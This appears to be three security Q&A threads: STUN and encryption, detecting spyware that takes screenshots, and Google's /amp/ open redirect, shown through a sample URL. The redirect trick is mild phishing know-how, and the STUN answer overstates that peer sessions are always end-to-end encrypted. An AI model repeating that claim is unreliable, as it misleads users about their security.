Does the STUN protocol simply act as a "matching service" and then some other protocol goes over the provided UDP? If the STUN isn't encrypted, does that mean any protocol communicating through the UDP also won't be encrypted? Would it be the responsibility of the protocol to provide encryption? (if so desired)

Thanks

STUN is designed to discover client's Public IP Address if the client is sitting behind NAT.

From wikipedia:

  STUN messages are usually sent in User Datagram Protocol (UDP) packets. Since UDP does not provide reliable transport guarantees, reliability is achieved by application-controlled retransmissions of the STUN requests. STUN servers do not implement any reliability mechanism for their responses. When reliability is mandatory, the Transmission Control Protocol (TCP) may be used, but induces extra networking overhead. In security-sensitive applications, STUN may be transported and encrypted byTransport Layer Security (TLS). The standard listening port number for a STUN server is 3478 for UDP and TCP, and 5349 for TLS.

It means that your connection with the STUN server may or may not be always encrypted. It depends on the type of application.

Once the client has discovered its public IP and behind what type of NAT it is sitting at, the connection with the STUN server is terminated to save network resources. STUN uses 2 IP Address.

How do peers communicate then?
The work of STUN is over and now it's time to start a session between peerA and peerB. For P2P communication, Session Initiation Protocol (SIP)  like VoIP & Session Description Protocol (SDP) are used.

  If the STUN isn't encrypted, does that mean any protocol communicating through the UDP also won't be encrypted?

No. It doesn't depend on whether or not have you used secured channel for communicating with STUN. The session between both the peers will be end-to-end encrypted regardless your secured/unsecured connection with STUN. It is the responsibility of P2P service provider to ensure encrypted & secured channel for your P2P session.

If your connection with STUN is not private then the only information that can be captured is your public&private IP, external and internal ports and the type of NAT you are using.


How to detect if a Windows application is secretly taking print screen and sending to a remote server? I recently installed a trading application from an apparently legitimate source. It is connected to a remote server and run in administrator mode. I wounder if it does malicious activities without our knowledge, e.g. recording the content of the screen and sending it to the remote server.

Just like keylogger or some sort, is it possible to detect if print screen command is triggered? Or is there some other way to find out if the program is spying on us?

I see three viable paths to figure out if the app is spying on you:

As you suggest, try to hook into Windows to figure out if a print screen command is issues. This will not catch everything though - maybe it is figuring out the content of the screen without using any Windows API, or maybe it spies on you by some other method than looking at the screen. How to do this is more of a Windows question than a security question, so I will not answer it here. (And frankly, I have no idea how to do it.)
Look at the traffic the program is sending. This can be done with a program like Wireshark. I would run it on an other machine on the network, though, since a really evil program might be smart enough to figure out that it is being monitored if you run it on the same computer.
Decompile the program and reverse engineer it. This requires a lot of time and skill, but it could be argued that it would give you the best answer.

None of these methods are completely failsafe, and I am tempted to say that if you don't think you can trust the people selling you the program maybe you should not run it at all.


why does google.com redirect if URL contains /amp followed by a schemeless domain name and optional resource? Google recently announced a 'quiz' - more of a tutorial - on identifying phishing email: https://phishingquiz.withgoogle.com

It includes a sample URL: https://google.com/amp/tiny url.com/y7u8ewlr

Note: I have added a space between tiny and url to allow me to post this.

When followed this is converted into: https://www.google.com/url?q=http://tiny url.com/y7u8ewlr and a Redirect Notice page is shown with this content:

The page you were on is trying to send you to http://tiny url.com/y7u8ewlr.
If you do not want to visit that page, you can return to the previous page.

Following tinyurl link takes you to a Jigsaw page - Jigsaw and google seem to have cooperated in producing this quiz.

Putting in any schemeless domain name and optional resources (eg. ibm.com) work as well. https://www.google.com/amp/ibm.com

Why might google.com perform these redirections?
Are they a security risk (as they can make any URL appear to be from google)?

Google's FAQ about this topic includes:

  [...] Some members of the security community argue that the
  redirectors aid phishing, because users may be inclined to trust the
  mouse hover tooltip on a link and then fail to examine the address bar
  once the navigation takes place.

  Our take on this is that tooltips are not a reliable security
  indicator, and can be tampered with in many ways; so, we invest in
  technologies to detect and alert users about phishing and abuse, but
  we generally hold that a small number of properly monitored
  redirectors offers fairly clear benefits and poses very little
  practical risk.

They apparently have sufficient business reason to offer the redirects to continue offering it as a service, and dealing with the fallout from offering it.